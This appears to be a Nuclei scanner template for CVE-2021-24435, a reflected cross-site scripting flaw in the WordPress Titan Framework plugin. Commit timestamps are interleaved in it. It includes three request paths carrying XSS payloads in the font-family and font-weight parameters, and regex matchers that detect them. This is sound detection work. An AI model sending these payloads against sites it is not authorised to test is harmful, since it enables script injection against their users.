2022-10-08 11:03:27 +00:00
id : CVE-2021-24435
info :
2023-05-25 19:13:57 +00:00
name : WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting
author : xcapri,ritikchaddha
2022-10-08 11:03:27 +00:00
severity : medium
description : |
The iframe-font-preview.php file of the titan-framework does not properly escape the font-weight and font-family GET parameters before outputting them back in an href attribute, leading to Reflected Cross-Site Scripting issues.
2023-09-06 12:09:01 +00:00
remediation : Fixed in version 2.7.12
2022-10-08 11:03:27 +00:00
reference :
- https://wpscan.com/vulnerability/a88ffc42-6611-406e-8660-3af24c9cc5e8
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24435
- https://nvd.nist.gov/vuln/detail/CVE-2021-24435
- https://patchstack.com/database/vulnerability/titan-framework/wordpress-titan-framework-plugin-1-12-1-reflected-cross-site-scripting-xss-vulnerability
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-24435
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.0014
2023-11-03 15:51:18 +00:00
epss-percentile : 0.49396
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:gambit:titan_framework:*:*:*:*:*:wordpress:*:*
2023-05-25 19:13:57 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : gambit
product : titan_framework
2023-09-06 12:09:01 +00:00
framework : wordpress
2023-06-03 18:56:35 +00:00
tags : wp,xss,wp-plugin,titan-framework,wpscan,cve,cve2021,wordpress
2022-10-08 11:03:27 +00:00
2023-05-25 19:13:57 +00:00
http :
2022-10-08 11:03:27 +00:00
- method : GET
path :
2023-05-25 19:13:57 +00:00
- "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27"
- "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27"
- "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27"
2022-10-08 11:03:27 +00:00
2023-05-25 19:13:57 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2022-10-08 11:03:27 +00:00
matchers-condition : and
matchers :
2023-07-11 19:49:27 +00:00
- type : word
part : header
words :
- "text/html"
2023-05-25 19:13:57 +00:00
- type : regex
regex :
- (?i)(onerror=|onclick=)['"]?alert\(document\.domain\)['"]?
- '<p>Grumpy wizards make'
2022-10-08 11:03:27 +00:00
condition : and
2023-05-25 19:13:57 +00:00
- type : status
status :
- 200
2023-11-03 17:10:29 +00:00
# digest: 4b0a00483046022100c71b56dac6a52b08f3e24ad8b560fc9d549c79ff3c72235beaca13860a55dcef022100cf907eae72f07f9d38f268704e72cadb44dcbd23d16449432b99670b74ab6e8b:922c64590222798bb761d5b6d8e72950